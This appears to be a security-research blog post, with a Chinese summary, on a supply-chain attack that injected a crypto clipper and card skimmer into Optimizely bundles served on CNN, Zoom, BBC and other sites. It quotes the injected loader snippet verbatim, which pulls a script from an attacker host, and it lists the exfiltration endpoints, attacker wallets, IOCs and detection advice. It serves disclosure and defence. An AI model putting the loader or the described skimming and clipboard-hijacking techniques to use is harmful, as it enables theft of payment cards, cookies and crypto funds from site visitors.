Optimizely 被攻破
Optimizely Compromised

原始链接: https://amirulcyber.com/2026/11/16/optimjack-optimizely-skimmer/

**摘要:通过Optimizely的供应链攻击注入加密货币剪贴板窃取器和信用卡盗刷器** 被投毒的Optimizely包正在将恶意JavaScript(来自`1688360.cc`的`track.js`)注入至少15个高流量网站——包括CNN、Zoom、Fox News、BBC、Salesforce、GitLab和American Eagle——使数百万访客面临风险。注入的窃取器包含四个模块:加密货币地址剪贴板窃取器(使用经校验和验证的正则表达式替换粘贴的钱包地址,覆盖ETH、BTC、SOL、TON等),截图与Cookie窃取器,基于Luhn校验的信用卡盗刷器(挂钩fetch/XHR/表单提交),以及iOS专用第二阶段载荷。数据外泄发送至C2的`/hit.php`和`/card.php`,iOS载荷还使用`.icu`主机。 入侵向量包括Optimizely包、第一方包(American Eagle)、Jscrambler保护的脚本(Air France)和恶意广告(Fox News)。采用严格CSP的网站即使片段被入侵也阻止了执行。 **检测:**在已服务的Optimizely包中搜索`1688360`;监控CSP `script-src`违规;对从非站点主机加载的`html2canvas`发出告警;在预发布环境使用金丝雀钱包地址测试。阻止IOC,包括`1688360.cc/*`、两个`.icu`主机和已公布的文件哈希。

相关文章

原文

Summary

One poisoned tag layer, 15 household-name websites, millions of exposed visitors. Attacker JavaScript injected into Optimizely bundles is serving a crypto-clipper + card-skimmer to visitors of CNN, Zoom, Fox News, BBC, Salesforce, GitLab, American Eagle, Hootsuite and seven more — plus side vectors through a first-party bundle, a Jscrambler-protected script, and one malvertising impression. If your site loads Optimizely, assume your visitors are in the blast radius until you check the bundle.

Terms

Term Means in this post
loader the injected snippet inside the Optimizely bundle that appends track.js
track.js the attacker stealer (clipper + card skimmer + screenshot exfil)
C2 1688360[.]cc and the two .icu hosts serving payload and collecting data
clipper malware that swaps a victim’s crypto address for the attacker’s at point of use

Risk to a marketing and IT team

If your site loads Optimizely, your visitors are the targets: pasted wallet addresses get swapped before submission, card forms get skimmed, and page URLs plus cookies plus a screenshot leave with every hit. Your origin can be clean while your visitors are robbed — the compromise sits in the tag layer. Three-step check: (1) fetch your served Optimizely bundle and search it for 1688360; (2) alert on Content-Security-Policy script-src violations naming unknown hosts; (3) verify with a test wallet address on a staging page that what you paste is what gets submitted.

The loader

Inside affected Optimizely bundles, directly after the normal experiment code:

<script src="https://cdn.optimizely.com/js/5113954737848320.js"
  class="optanon-category-C0002"></script>

and inside that bundle:

(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e)})();

That project ID is GitLab’s; ten more project/snippet IDs across unrelated organisations carry the same line. Two affected sites instead blocked it with CSP (script-src violation, request Failed) — compromised snippet, unexecuted payload.

urlscan transaction list for edition.cnn.com showing landingprod.js served from cdn.optimizely.com, the poisoned Optimizely bundle
Figure 1. CNN's poisoned bundle in the scan's transaction list: landingprod.js served from cdn.optimizely.com.

The payload

One self-contained script, four modules:

1. Clipper. Regex plus real checksum validation (double-SHA256, base58check, bech32, cashaddr, TON CRC16) for ETH, TON (friendly + raw), BTC, BCH, LTC, TRX, DOGE and SOL. Rewrites DOM text (50 ms sweep, payment-keyword gated), input/textarea values (including framework models), link/image src/href, copy events, clipboard.writeText/readText, navigator.share, and fetch/XHR URLs and bodies. Every swapped original is queued for exfil.

2. Screenshot + cookie exfil. Posts page URL (≤500 chars), cookies (≤8,000), a JPEG screenshot via html2canvas pulled from the same C2, and the matched original addresses to /hit.php.

3. Card skimmer. Luhn plus brand check, MM/YY + 3–4-digit CVV validation, hooks fetch/XHR POST bodies (JSON, FormData, nested objects) and form submits, dedupes per session, exfiltrates via sendBeacon to /card.php.

4. iOS second stage. On iPhone/iPad/iPod only: injects boot.js from two .icu hosts and, on iOS ≤ 18.6, a hidden iframe. The recovered boot.js is obfuscated and under analysis.

Attacker replacement addresses (verbatim from the file header):

ETH  0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRX  THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
BTC  19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
TON  UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
SOL  FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
LTC  ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH  qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5
TONr 0:2033556a49942224b486e70fa8beeaeae4265dc4b10adffec2326c002d30397b

Affected Website

15 captured page loads, sorted by traffic. First column is the page domain as observed; second column is the exact page URL that loaded the payload:

Domain Exact page URL that loads the payload Hijacker JS URL
edition.cnn.com https://edition.cnn.com/ https://cdn.optimizely.com/public/125375509/s/landingprod.js
zoom.com https://www.zoom.com/ https://cdn.optimizely.com/js/6395285578973184.js
foxnews.com https://www.foxnews.com/ https://cdn.confiant-integrations.net/gptprebidnative/202611121858/wrap.js
bbc.com https://www.bbc.com/news/articles/c6wy9lynq4qno https://cdn.optimizely.com/public/4621041136/s/bbcx_prod.js
salesforce.com https://www.salesforce.com/ https://cdn.optimizely.com/js/22444972181.js
about.gitlab.com https://about.gitlab.com/whats-new/19-0/ https://cdn.optimizely.com/js/5113954737848320.js
ae.com https://www.ae.com/us/en https://www.ae.com/resources/aa2a454dda92a6d073ca760a2537f00c14d00114d3583
hootsuite.com https://www.hootsuite.com/error/lost-owly https://cdn.optimizely.com/js/4894383279964160.js
smartsheet.com https://www.smartsheet.com/ https://cdn.optimizely.com/js/752092193.js
wwws.airfrance.it https://wwws.airfrance.it/ https://jef1nimjiav4.eu.wpi.jscrambler.com/i0sqmdlgtfda/1588655105.js
virginmediao2.co.uk https://www.virginmediao2.co.uk/help/identity https://cdn.optimizely.com/js/22914960707.js
stamps.com https://www.stamps.com/ https://cdn.optimizely.com/js/23755770403.js
tricentis.com https://www.tricentis.com/ https://cdn.optimizely.com/js/26508490611.js
mutualofomaha.com https://www.mutualofomaha.com/promo/medicare-supplement-insurance/456245-1 https://cdn.optimizely.com/js/25010540072.js
insurance.hsbc.com.sg https://www.insurance.hsbc.com.sg/ https://cdn.optimizely.com/js/20371380974.js

Per-row caller evidence lives in the third column: Optimizely bundles on every row except foxnews.com (ad wrapper), ae.com (first-party bundle) and wwws.airfrance.it (Jscrambler-protected script).

urlscan transaction list for zoom.com showing the primary request, redirect chain, the Optimizely bundle, and the OneTrust consent stub
Figure 2. Zoom's transaction list: primary request, redirect chain, the Optimizely bundle — with the OneTrust stub alongside, gating but not sanitising it.

IOCs

Block now (high confidence, safe to block):

1688360.cc/track.js
1688360.cc/hit.php
1688360.cc/card.php
1688360.cc/html2canvas.min.js
5vobauua3ojpklx.icu/boot.js
eil786npto9u5bq.icu/boot.js
eil786npto9u5bq.icu/JIUJIU888/weifile.html
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40  (track.js)
2f69879f1c5bdfe9c075ef67ddb6405afe992aff89dcf42863567f83237d3ba6  (eil786 boot.js)

Detection

  • Search served tag-manager bundles for unknown .cc/.icu hosts — catches this loader; misses loader variants on fresh domains.
  • CSP script-src violation monitoring — two sites survived this way; misses pages without CSP or with permissive policies.
  • Client-side: alert on html2canvas fetched from a non-site host, sendBeacon to unknown hosts on checkout pages — catches the exfil leg; misses passive skimmers that only read.
  • Canary wallet address in staging: paste, submit, compare — catches clipper; misses keyword-gated payloads that ignore test pages.

Further reading

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